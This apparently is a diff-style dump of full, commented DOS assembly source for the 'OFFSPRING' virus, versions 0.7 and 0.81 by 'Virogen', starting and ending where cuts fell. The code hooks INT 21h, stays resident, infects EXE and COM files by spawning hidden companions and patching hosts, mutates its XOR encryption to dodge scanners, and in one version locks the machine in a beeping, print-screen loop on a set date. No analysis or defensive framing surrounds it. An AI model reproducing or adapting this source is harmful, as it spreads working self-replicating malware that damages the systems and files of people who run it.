VEND DW 0 ; End of virus
CSEG ENDS
END START

View File

@ -0,0 +1,714 @@
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with A86 v3.22
;
;
; DISCLAIMER : Don't hold me responsible for any damages, or the release
; of this virus. Use at your own risk.
;
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : BETA 0.7
;
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
; 0Eh (change drive) is called the virus will infect
; up to 5 files in the current directory (the one
; you're coming out of). It will first infect all
; EXE files by creating a corresponding COM. Once
; all EXE files have been infected, it then infects
; COM files. All COM files created by a spawning
; infection will have the read-only and hidden
; attribute.
;
;
; THE ENCRYPION OF THIS VIRUS :
; Ok, this virus's encryption method is a simple
; XOR. The encryption operands are changed directly.
; Also, the operands are switched around, and the
; bytes between them are constantly changed. The
; call to the encryption routine changes, so the
; address can be anywhere in a field of NOPs.
; Not anything overly amazing, but it works.
;
;
TITLE OFFSPRING_1
.286
CSEG SEGMENT
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
SIGNAL EQU 7DH ; Installation check
REPLY EQU 0FCH ; reply to check
CR EQU 0DH ; carraige return
LF EQU 0AH ; line feed
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
F_SIZEL EQU 1CH ; File size - low
F_SIZEH EQU 1AH ; File size - high
F_DATE EQU 18H ; File date
F_TIME EQU 16H ; File time
MAX_INF EQU 05 ; Maximum files to infect per run
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
PARASTIC EQU 01 ; Parastic infection
SPAWN EQU 00 ; Spawning infection
ORG 100H ; Leave room for PSP
;------------------------------------------------------------------
; Start of viral code
;------------------------------------------------------------------
START:
DB 0BEH ; MOV SI,xxxx - Load delta offset
SET_SI: DW 0000H
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
; replicated copies.
M_SW1: NOP ; changs into a byte in op_set
XCHG_1 DB 0BFH
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
; Switches positions with XCHG_2
M_SW2: NOP ; changes into a byte in op_set
XCHG_2 DB 090H
ENC_NUM DW 9090H
M_SW3: NOP
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
ADD_DI: DW 9000H ; 00-NOP
CALL_ENC DB 0E8 ; Call encryption routine - address changes
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
NO_DEC:
JMP MAIN ; Jump to virus code
;-----------------------------------------------
; Data area
;-----------------------------------------------
ENC_DATA DW 0000 ; Start of encrypted data
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
VTYPE DB 00 ; Spawning or Parastic Infection?
INF_COUNT DB 0 ; How many files we have infected this run
COM_NAME DB 'COMMAND.COM' ; obvious
NEW_CODE DW 9090H ; ID bytes
NEW_JMP DB 0E9H,00,00 ; New Jump
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
ADD_MEM DB 0 ; restore mem size? Yes,No
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
FNAME1 DB '*.EXE',0 ; Filespec
FNAME2 DB '*.COM',0 ; Filespec
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
TIMES_INC DB 0 ; # of times encryption call incremented
SL DB '\' ; Backslash for directory name
FILE_DIR DB 64 DUP(0) ; directory of file we infected
FILE_NAME DB 13 DUP(0) ; filename of file we infected
OLD_DTA DD 0 ; old seg:off of DTA
OLD21_OFS DW 0 ; Offset of old INT 21H
OLD21_SEG DW 0 ; Seg of old INT 21h
NEW_SEG DW 0 ; New segment in high mem
PAR_BLK DW 0 ; command line count byte -psp
PAR_CMD DW 0080H ; Point to the command line -psp
PAR_SEG DW 0 ; seg
DW 05CH ; Use default FCB's in psp to save space
PAR1 DW 0 ;
DW 06CH ; FCB #2
PAR2 DW 0 ;
;--------------------------------------------------------------------
; INT 21h
;---------------------------------------------------------------------
NEW21 PROC ; New INT 21H handler
CMP AH, SIGNAL ; signaling us?
JNE NO
MOV AH,REPLY ; yep, give our offspring what he wants
JMP END_21
NO:
CMP AH, 3BH ; set dir func?
JE RUN_RES
CMP AH,0EH ; set disk func?
JE RUN_RES
JMP END_21
RUN_RES:
PUSHF
PUSH AX ; Push regs
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH BP
PUSH DS
PUSH ES
PUSH SP
PUSH SS
PUSH CS
POP DS
XOR AX,AX ; nullify ES
MOV ES,AX
CMP ADD_MEM,1 ; Restore system conventional mem size?
JE REL_MEM ;
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
JE SET_MEM ; total system memory.
JMP NO_MEM_FUNC
SET_MEM:
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
INC ADD_MEM ; make sure we know to add this back
JMP NO_MEM_FUNC
REL_MEM:
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
DEC ADD_MEM
NO_MEM_FUNC:
MOV AH,2FH
INT 21H ; Get the DTA
MOV AX,ES
MOV WORD PTR OLD_DTA,BX
MOV WORD PTR OLD_DTA+2,AX
PUSH CS
POP ES
CALL RESIDENT ; Call infection kernal
MOV DX,WORD PTR OLD_DTA
MOV AX,WORD PTR OLD_DTA+2
MOV DS,AX
MOV AH,1AH
INT 21H ; Restore the DTA
POP SS ; Pop regs
POP SP
POP ES
POP DS
POP BP
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
POPF
END_21 :
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
IRET
NEW21 ENDP ; End of handler
;------------------------------------------------------------
; Main
;-----------------------------------------------------------
MAIN PROC
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
MOV AX,DS: 002CH ; Get environment address
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
MOV [SI+OFFSET PAR2],CS
MOV [SI+OFFSET PAR_SEG],CS
MOV AH,2AH ; Get date
INT 21H
CMP DL,14 ; 14th?
JNE NO_DISPLAY
MOV AH,09 ; Display message
LEA DX,[SI+OFFSET ID]
INT 21H
NO_DISPLAY:
CALL INSTALL ; check if installed, if not install
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
JE SKIP_THIS
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
MOV CL,4 ; divide by 16
SHR BX,CL
INC BX
MOV AH,4AH
INT 21H ; Release un-needed memory
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
LEA BX,[SI+OFFSET PAR_BLK]
MOV AX,4B00H
INT 21H
MOV AH,4CH ; Exit
INT 21H
SKIP_THIS:
MOV CX,5 ; Restore original first
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
MOV DI,0100H
CLD
REP MOVSB
MOV AX,0100H ; Simulate CALL return to 0100h
PUSH AX
RET
MAIN ENDP
;---------------
; INSTALL - Install the virus
;--------------
INSTALL PROC
MOV AH,SIGNAL
INT 21H
CMP AH,REPLY
JE NO_INSTALL
MOV AX,CS
DEC AX
MOV DS,AX
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
;the chain?
JNE NO_INSTALL
MOV AX,DS: [3] ;Block size in MCB
SUB AX,190 ;Shrink Block Size-quick estimate
MOV DS: [3],AX
MOV BX,AX
MOV AX,ES
ADD AX,BX
MOV ES,AX ;Find high memory seg
PUSH SI
ADD SI,0100H
MOV CX,(OFFSET VEND - OFFSET START)
MOV AX,DS
INC AX
MOV DS,AX
MOV DI,100H ; New location in high memory
CLD
REP MOVSB ; Copy virus to high memory
POP SI
MOV DS: NEW_SEG,ES ;Save new segment
PUSH ES
POP DS
XOR AX,AX
MOV ES,AX ; null es
MOV AX,ES: [21H*4+2]
MOV BX,ES: [21H*4]
MOV DS: OLD21_SEG,AX ; Store segment
MOV DS: OLD21_OFS,BX ; Store offset
CLI
MOV ES: [21H*4+2],DS ; Save seg
LEA AX,[OFFSET NEW21]
MOV ES: [21H*4],AX ; off
STI
NO_INSTALL:
PUSH CS ; Restore regs
POP DS
MOV ES,DS
RET
INSTALL ENDP
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
RESIDENT PROC
MOV VTYPE,SPAWN
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
MOV BYTE PTR INF_COUNT,0 ; null infection count
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
FIND_FIRST:
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
LEA SI, VEND
LEA DI, VEND+2
MOV CX,22
CLD
REP MOVSW
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
MOV AH, 1AH
LEA DX, VEND
INT 21H
MOV AH, 4EH ; Findfirst
MOV CX, 0 ; Set normal file attribute search
MOV DX, FNAME_OFF
INT 21H
JNC NEXT_LOOP ; if still finding files then loop
JMP END_PROG
NEXT_LOOP :
CMP VTYPE, PARASTIC ; parastic infection?
JE START_INF ; yes, skip all this
MOV AH,47H
XOR DL,DL
LEA SI,FILE_DIR
INT 21H
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
JE OK_FIND ; for spawning infections
JMP FIND_FILE
OK_FIND:
XOR BX,BX
LM3 : ; find end of directory name
INC BX
CMP FILE_DIR[BX],0
JNE LM3
MOV FILE_DIR[BX],'\' ; append backslash to path
INC BX
MOV CX,13 ; append filename to path
LEA SI,VEND[F_NAME]
LEA DI,FILE_DIR[BX]
CLD
REP MOVSB
XOR BX,BX
MOV BX,1EH
LOOP_ME: ; search for filename ext.
INC BX
CMP BYTE PTR VEND[BX], '.'
JNE LOOP_ME
INC BX ; change it to COM
MOV WORD PTR VEND [BX],'OC'
MOV BYTE PTR VEND [BX+2],'M'
START_INF:
CMP VTYPE, PARASTIC ; parastic infection?
JE PARASTIC_INF ; yes.. so jump
;--------------------------------------
; Spawning infection
LEA DX, VEND[F_NAME]
MOV AH, 3CH ; Create file
MOV CX, 02H ; READ-ONLY
OR CX, 01H ; Hidden
INT 21H ; Call INT 21H
JNC CONTIN ; If Error-probably already infected
JMP NO_INFECT
CONTIN:
INC INF_COUNT
MOV BX,AX
JMP ENCRYPT_OPS
;----------------------------------------
; Parastic infection
PARASTIC_INF :
CMP VEND[F_SIZEh],400H
JGE CONT_INF2
JMP NO_INFECT
CONT_INF2:
LEA SI,VEND[F_NAME] ; Is Command.COM?
LEA DI,COM_NAME
MOV CX,11
CLD
REPE CMPSB
JNE CONT_INF0 ; Yes, don't infect
JMP NO_INFECT
CONT_INF0:
MOV AX,3D02H ; Open file for reading & writing
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
INT 21H
JNC CONT_INF1 ; error, skip infection
JMP NO_INFECT
CONT_INF1:
MOV BX,AX
MOV AH,3FH ; Read first five bytes of file
MOV CX,05
LEA DX,FIRST_FIVE
INT 21H
CMP WORD PTR FIRST_FIVE,9090H
JNE CONT_INF
MOV AH,3EH
INT 21H
JMP NO_INFECT
CONT_INF:
INC INF_COUNT
MOV AX,4202H ; Set pointer to end of file, so we
XOR CX,CX ; can find the file size
XOR DX,DX
INT 21H
;SUB AX,0100h ; Subtract PSP size
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
MOV BYTE PTR DI_INS,81H ; ADD DI op
MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
MOV AX,VEND[F_SIZEH]
SUB AX,5
MOV WORD PTR NEW_JMP+1,AX
MOV AH,40H
MOV CX,6
LEA DX,NEW_CODE
INT 21H
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H
ENCRYPT_OPS:
;-----------------------------
; Change encryptions ops
PUSH BX
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
MOV BX,WORD PTR XCHG_2
MOV WORD PTR XCHG_1,BX
MOV WORD PTR XCHG_2,AX
MOV AH, BYTE PTR XCHG_1+2
MOV BH, BYTE PTR XCHG_2+2
MOV BYTE PTR XCHG_1+2,BH
MOV BYTE PTR XCHG_2+2,AH
XOR_DONE:
CHG_TWO:
XOR CX,CX ; CX=0
LEA DI,SW_BYTE1 ; DI->sw_byte1
CHG_REST:
INC ROT_NUM ; increment rotation number
MOV BX,ROT_NUM ; bx=rotation num
MOV AH,OP_SET[BX] ; ah = new op code from set
MOV BYTE PTR [DI],AH
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
JNE CHG_CNT ; no, chg_cnt
MOV WORD PTR ROT_NUM,0 ; reset rotation num
CHG_CNT:
INC CX ; increment count
CMP CX,1
LEA DI,M_SW1
JE CHG_REST
CMP CX,2
LEA DI,M_SW2
JE CHG_REST
CMP CX,3
LEA DI,M_SW3
JE CHG_REST
CMP CX,4
LEA DI,SW_BYTE1
JE CHG_REST
CHG_THREE:
XOR CX,CX
LEA DI,SW_BYTE3
CHG_FOUR:
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
MOV BX,1 ;
JE MOV_POS ; Yes, so change it to the second
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
MOV BX,2 ;
JE MOV_POS ; Yes, change it to the third
XOR BX,BX ; Else, must be in final position
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
MOV BYTE PTR [DI+2],90H ; to NOP
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
CMP BX,2
JNE NO_CHANGE
INC CX
CMP CX,2
LEA DI,SW_BYTE4
JNE CHG_FOUR
NO_CHANGE:
CMP BYTE PTR TIMES_INC,9
JE INC_NUM
INC WORD PTR B_WR
INC WORD PTR E_JMP
INC WORD PTR E_JMP
INC TIMES_INC
JMP D2
INC_NUM:
SUB WORD PTR B_WR,09
SUB WORD PTR E_JMP,18
MOV TIMES_INC,0
;-----------------------
; Get random XOR number, save it, copy virus, encrypt code
D2:
MOV AH,2CH ;
INT 21H ; Get random number from clock - millisecs
MOV WORD PTR XOR_OP+2,DX ; save encryption #
MOV SI,0100H
LEA DI,VEND+50 ; destination
MOV CX,OFFSET VEND-100H ; bytes to move
CLD
REP MOVSB ; copy virus outside of code
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
CMP BYTE PTR VTYPE, PARASTIC
JNE GO_ENC
;add di,si
GO_ENC:
CALL ENCRYPT ; encrypt new copy of virus
;----------------------------------------
; Write and close new infected file
POP BX
MOV CX, OFFSET VEND-100H ; # of bytes to write
LEA DX, VEND+50 ; Offset of buffer
MOV AH, 40H ; -- our program in memory
INT 21H ; Call INT 21H function 40h
CMP VTYPE, PARASTIC ; parastic?
JNE CLOSE ; no, don't need to restore date/time
MOV AX,5701H ; Restore data/time
MOV CX,VEND[F_TIME]
MOV DX,VEND[F_DATE]
INT 21H
CLOSE: MOV AH, 3EH
INT 21H
NO_INFECT:
; Find next file
FIND_FILE :
CMP INF_COUNT, MAX_INF
JE END_PROG
MOV AH,4FH
INT 21H
JC END_PROG
JMP NEXT_LOOP
END_PROG:
EXIT :
CMP INF_COUNT,0 ; Start parastic infection on next run
JNE FIND_DONE
CMP VTYPE, PARASTIC ; Parastic infection done?
JE FIND_DONE ; yes, we're finished
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
MOV VTYPE, PARASTIC ; virus type = parastic
JMP FIND_FIRST
FIND_DONE:
MOV VTYPE,SPAWN
MOV FNAME_OFF, OFFSET FNAME1
RET
RESIDENT ENDP
END_ENCRYPT: ; Let's encrypt everything up to here
OP_SET DB 90H ; NOP
DB 40H ; INC AX
DB 43H ; INC BX
DB 48H ; DEC AX
DB 4BH ; DEC BX
DB 0FBH ; STI
DB 0FCH ; CLD
DB 4AH ; DEC DX
DB 42H ; INC DX
DB 14 DUP(090H)
;------------------------------------------------
; Encrypt/Decrypt Routine
;-----------------------------------------------
ENCRYPT PROC
CX_M DB 0B9H ; MOV CX
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
E2:
SW_BYTE1: ; XOR [di],dx swaps positions with this
NOP
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
SW_BYTE3: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE4: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE2:
NOP ; This byte changes into a char in op_set
LOOP E2 ; loop while cx != 0
RET
ENCRYPT ENDP
VEND DW 0 ; End of virus
CSEG ENDS
END START

View File

@ -0,0 +1,665 @@
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.81 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with : TASM /m2
;
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : BETA 0.81
;
; INFECTION METHOD : Everytime DOS function 4Bh (Execute File)
; is called the virus will infect up to 5 files
; in the current directory. It will first infect all
; EXE files by creating a corresponding COM. Once
; all EXE files have been infected, it then infects
; COM files. All COM files created by a spawning
; infection will have the read-only and hidden
; attribute.
;
;
; THE ENCRYPION OF THIS VIRUS :
; Ok, this virus's encryption method is a simple
; XOR. The encryption operands are changed directly.
; Also, the operands are switched around, and the
; encryption routine switches from using di to si.
; Not anything overly amazing, but it works.
;
;
title offspring_1
.286
cseg segment
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
signal equ 7dh ; Installation check
reply equ 0fch ; reply to check
f_name equ 1eh ; Offset of file name in FF/FN buffer
f_sizel equ 1ch ; File size - low - loc in mem
f_sizeh equ 1ah ; File size - high - loc in mem
f_date equ 18h ; File date - loc in mem
f_time equ 16h ; File time - loc in mem
max_inf equ 05 ; Maximum files to infect per run
max_rotation equ 9 ; number of bytes in switch byte table
parastic equ 01 ; Parastic infection
spawn equ 00 ; Spawning infection
org 100h ; Leave room for PSP
;------------------------------------------------------------------
; Start of viral code
;------------------------------------------------------------------
start:
db 0bdh ; MOV BP,xxxx - Load delta offset
set_bp:
dw 0000
skip_dec:
jmp main ; Skip decryption, changes into NOP on
; replicated copies.
di_op db 0bfh
mov_di dw offset enc_data+2 ; Point to byte after encryption num
;
;-------------------------
; Encryption/Decryption
encrypt:
cx_m db 90h,0b9h ; MOV CX
b_wr dw (offset vend-offset enc_data)/2
xor_loop:
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
sw_byte3: ; INC xx changes position in these bytes
inc di
nop
nop
sw_byte4:
inc di
nop
nop
loop xor_loop ; loop while cx != 0
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
enc_data: ; Start of encrypted data
;-------------------------------
; Non-Resident portion of virus
;-------------------------------
main proc
mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption
mov ax,ds: 002ch ; Get environment address
mov par_blk[bp],ax ; Save in parameter block for exec
mov par1[bp],cs ; Save segments for EXEC
mov par2[bp],cs
mov par_seg[bp],cs
mov ah,2ah ; Get date
int 21h
cmp dl,9 ; 9th?
jne no_display
mov ah,09 ; display virus name
lea dx,vname[bp]
int 21h
xor ax,ax ; seg 0
mov es,ax
mov dx,1010101010101010b ; lights
chg_lights: ; Infinite loop to change keyboard
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
ror dx,1 ; rotate bits
mov cx,0101h ; scan code/ascii
mov ah,05h ; push a beep onto keyb buf
int 16h
mov ah,10h ; Read key back so we don't fill
int 16h ; up the keyboard buffer
int 5h ; Print-Screen
mov ax,0a07h ; Write BEEP to screen
xor bh,bh
mov cx,1
int 10h
mov ah,86h ; Delay
mov cx,0002h
int 15h
jmp chg_lights
no_display:
call install ; check if installed, if not install
cmp byte ptr vtype[bp],parastic
je com_return
mov bx,(offset vend+50) ; Calculate memory needed
mov cl,4 ; divide by 16
shr bx,cl
inc bx
mov ah,4ah
int 21h ; Release un-needed memory
lea dx,file_dir-1[bp] ; Execute the original EXE
lea bx,par_blk[bp]
mov ch,0FBh ; tell mem. resident virus
mov ax,4b00h ; that it's us.
int 21h
mov ah,4ch ; Exit
int 21h
com_return:
mov si,bp
mov cx,4 ; Restore original first
add si,offset org_bytes ; five bytes of COM file
mov di,0100h
cld
rep movsb
mov ax,0100h ; Simulate CALL return to 0100h
push ax
ret
main endp
;--------------------------------------
; INSTALL - Install the virus
;--------------------------------------
install proc
mov ah,signal
int 21h
cmp ah,reply
je no_install
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
;the chain?
jne no_install
mov ax,ds: [3] ;Block size in MCB
sub ax,190 ;Shrink Block Size-quick estimate
mov ds: [3],ax
mov bx,ax
mov ax,es
add ax,bx
mov es,ax ;Find high memory seg
mov si,bp
add si,0100h
mov cx,(offset vend - offset start)
mov ax,ds
inc ax
mov ds,ax
mov di,100h ; New location in high memory
cld
rep movsb ; Copy virus to high memory
push es
pop ds
xor ax,ax
mov es,ax ; null es
mov ax,es: [21h*4+2]
mov bx,es: [21h*4]
mov ds: old21_seg,ax ; Store segment
mov ds: old21_ofs,bx ; Store offset
cli
mov es: [21h*4+2],ds ; Save seg
lea ax, new21
mov es: [21h*4],ax ; off
sti
no_install:
push cs ; Restore regs
pop ds
push cs
pop es
ret
install endp
;--------------------------------------------------------------------
; INT 21h
;---------------------------------------------------------------------
new21 proc ; New INT 21H handler
cmp ah, signal ; signaling us?
jne no
mov ah,reply ; yep, give our offspring what he wants
jmp end_21
no:
cmp ax,4b00h ; exec func?
jne end_21
cmp ch,0FBh ; don't infect when the virus
jne run_res ; executes a file
jmp end_21
run_res:
pushf
push ax ; Push regs
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
push sp
push ss
push cs
pop ds
xor ax,ax ; nullify ES
mov es,ax
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
je rel_mem ;
cmp ah,48h ; alloc. mem block? If so we subtract 3k from
je set_mem ; total system memory.
jmp no_mem_func
set_mem:
sub word ptr es: [413h],3 ; Subtract 3k from total sys mem
inc byte ptr add_mem ; make sure we know to add this back
jmp no_mem_func
rel_mem:
add word ptr es: [413h],3 ; Add 3k to total sys mem
dec byte ptr add_mem
no_mem_func:
mov ah,2fh
int 21h ; Get the DTA
mov ax,es
mov word ptr old_dta,bx
mov word ptr old_dta+2,ax
push cs
pop es
call resident ; Call infection kernal
mov dx,word ptr old_dta
mov ax,word ptr old_dta+2
mov ds,ax
mov ah,1ah
int 21h ; Restore the DTA
pop ss ; Pop regs
pop sp
pop es
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
pop ax
popf
end_21 :
db 0eah ; jump to original int 21h
old21_ofs dw 0 ; Offset of old INT 21H
old21_seg dw 0 ; Seg of old INT 21h
new21 endp ; End of handler
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
resident proc
mov byte ptr vtype,spawn
mov word ptr set_bp,0000 ; BP=0000 on load
mov byte ptr inf_count,0 ; null infection count
mov fname_off, offset fname1 ; Set search for *.EXE
mov word ptr mov_di,offset enc_data+2
find_first:
mov word ptr vend,0 ; Clear ff/fn buffer
lea si, vend
lea di, vend+2
mov cx, 22
cld
rep movsw
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
mov ah, 1ah
lea dx, vend
int 21h
mov ah, 4eh ; Findfirst
mov cx, 0 ; Set normal file attribute search
mov dx, fname_off
int 21h
jnc next_loop ; if still finding files then loop
jmp end_prog
next_loop :
cmp byte ptr vtype, parastic ; parastic infection?
je start_inf ; yes, skip all this
mov ah,47h
xor dl,dl
lea si,file_dir
int 21h
cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+
je ok_find ; for spawning infections
jmp find_file
ok_find:
xor bx,bx
lm3 : ; find end of directory name
inc bx
cmp file_dir[bx],0
jne lm3
mov file_dir[bx],'\' ; append backslash to path
inc bx
mov cx,13 ; append filename to path
lea si,vend[f_name]
lea di,file_dir[bx]
cld
rep movsb
xor bx,bx
mov bx,1eh
loop_me: ; search for filename ext.
inc bx
cmp byte ptr vend[bx], '.'
jne loop_me
inc bx ; change it to COM
mov word ptr vend [bx],'OC'
mov byte ptr vend [bx+2],'M'
start_inf:
cmp byte ptr vtype, parastic ; parastic infection?
je parastic_inf ; yes.. so jump
;--------------------------------------
; Spawning infection
lea dx, vend[f_name]
mov ah, 3ch ; Create file
mov cx, 02h ; READ-ONLY
or cx, 01h ; Hidden
int 21h ; Call INT 21H
jnc contin ; If Error-probably already infected
jmp no_infect
contin:
inc inf_count
mov bx,ax
jmp encrypt_ops
;----------------------------------------
; Parastic infection
parastic_inf :
cmp word ptr vend+f_sizeh,400h
jge cont_inf2
jmp no_infect
cont_inf2:
lea si,vend+f_name ; Is Command.COM?
lea di,com_name
mov cx,11
cld
repe cmpsb
jne cont_inf0 ; Yes, don't infect
jmp no_infect
cont_inf0:
mov ax,3d02h ; Open file for reading & writing
lea dx,vend+f_name ; Filename in FF/FN buffer
int 21h
jnc cont_inf1 ; error, skip infection
jmp no_infect
cont_inf1:
mov bx,ax
mov ah,3fh ; Read first bytes of file
mov cx,04
lea dx,org_bytes
int 21h
cmp word ptr org_bytes,0e990h
jne cont_inf
mov ah,3eh
int 21h
jmp no_infect
cont_inf:
inc inf_count
mov ax,4202h ; Set pointer to end of file, so we
xor cx,cx ; can find the file size
xor dx,dx
int 21h
mov word ptr set_bp,ax ; Change the MOV BP inst.
add ax, offset enc_data+2
mov word ptr mov_di,ax ; chg mov di,xxxx
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov ax,word ptr vend+f_sizeh
sub ax,4
mov word ptr new_jmp+1,ax
mov ah,40h
mov cx,4
lea dx,new_code
int 21h
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
encrypt_ops:
;-----------------------------
; Change encryptions ops
push bx
cmp pad_bytes,50
je reset_pad
inc word ptr pad_bytes ; Increase file size
inc word ptr b_wr
jmp pad_ok
reset_pad:
mov ax,pad_bytes
sub word ptr b_wr,ax
xor ax,ax
mov pad_bytes,ax
pad_ok:
cmp inc_op,47h ; change ops from DI to SI
jne set2
dec inc_op
dec byte ptr xor_op+1
dec di_op
dec byte ptr enc_addr
dec byte ptr enc_add+1
jmp chg_three
set2:
inc inc_op
inc byte ptr xor_op+1
inc di_op
inc byte ptr enc_addr
inc byte ptr enc_add+1
chg_three:
mov ah,inc_op
xor cx,cx
lea di,sw_byte3
chg_four:
xor bx,bx ; Switch INC xx's location
cmp word ptr [di],9090h
je mov_pos
inc bx
inc bx
cmp byte ptr [di+1],90h ; is second byte not 90h
je mov_pos
dec bx
mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd)
mov byte ptr [di+2],90h ; to NOP
mov byte ptr [di+bx],ah ; place inc xx in other byte
lea di,sw_byte4
inc cx
cmp cx,1
je chg_four
;-----------------------
; Get random XOR number, save it, copy virus, encrypt code
d2:
mov ah,2ch ;
int 21h ; Get random number from clock - millisecs
mov word ptr xor_op+2,dx ; save encryption #
mov si,0100h
lea di,vend+50 ; destination
mov cx,offset vend-100h ; bytes to move
cld
rep movsb ; copy virus outside of code
enc_addr:
mov di,offset vend
enc_add:
add di,offset enc_data-100h+52 ; offset of new copy of virus
go_enc:
mov byte ptr ret_byte,0c3h
call encrypt ; encrypt new copy of virus
mov byte ptr ret_byte,90h
;----------------------------------------
; Write and close new infected file
pop bx
mov cx, offset vend-100h ; # of bytes to write
add cx, pad_bytes
lea dx, vend+50 ; Offset of buffer
mov ah, 40h ; -- our program in memory
int 21h ; Call INT 21H function 40h
mov ax,5701h ; Restore data/time
mov cx,word ptr vend[f_time]
mov dx,word ptr vend[f_date]
int 21h
close:
mov ah, 3eh
int 21h
no_infect:
; Find next file
find_file :
cmp inf_count, max_inf
je end_prog
mov ah,4fh
int 21h
jc end_prog
jmp next_loop
end_prog:
exit :
cmp inf_count,0 ; Start parastic infection on next run
jne find_done
cmp byte ptr vtype, parastic ; Parastic infection done?
je find_done
mov fname_off, offset fname2 ; Point to new filespec
mov byte ptr vtype, parastic ; virus type = parastic
jmp find_first
find_done:
mov byte ptr vtype,spawn
mov fname_off, offset fname1
ret
resident endp
vtype db spawn ; Infection type
rot_num dw 0000 ; Used when replacing bytes with OP_SET
inf_count db 0 ; How many files we have infected this run
com_name db 'COMMAND.COM' ; obvious
new_code db 90h
new_jmp db 0e9h,00,00 ; New Jump
org_bytes db 5 dup(0) ; original first five bytes of parastic inf.
pad_bytes dw 0 ; Increase in viru size
add_mem db 0 ; Add memory back?
old_dta dd 0 ; Old DTA Segment:Address
inc_op db 47h ; INC DI (47h) or INC SI (46h)
copyr db '(c)1993 negoriV' ; my copyright
vname db 0ah,0dh,'OFFSPRING V0.81','$'
fname1 db '*.EXE',0 ; Filespec
fname2 db '*.COM',0 ; Filespec
fname_off dw fname1 ; Offset of Filespec to use
times_inc db 0 ; # of times encryption call incremented
sl db '\' ; Backslash for directory name
file_dir db 64 dup(0) ; directory of file we infected
file_name db 13 dup(0) ; filename of file we infected
par_blk dw 0 ; command line count byte -psp
par_cmd dw 0080h ; Point to the command line -psp
par_seg dw 0 ; seg
dw 05ch ; Use default FCB's in psp to save space
par1 dw 0 ;
dw 06ch ; FCB #2
par2 dw 0 ;
vend: ; End of virus
cseg ends
end start

View File

@ -0,0 +1,671 @@
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.82 - BY VIROGEN - 09-06-93
; ************************************************
;
; - Compatible with : TASM /m2
;
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : 0.82
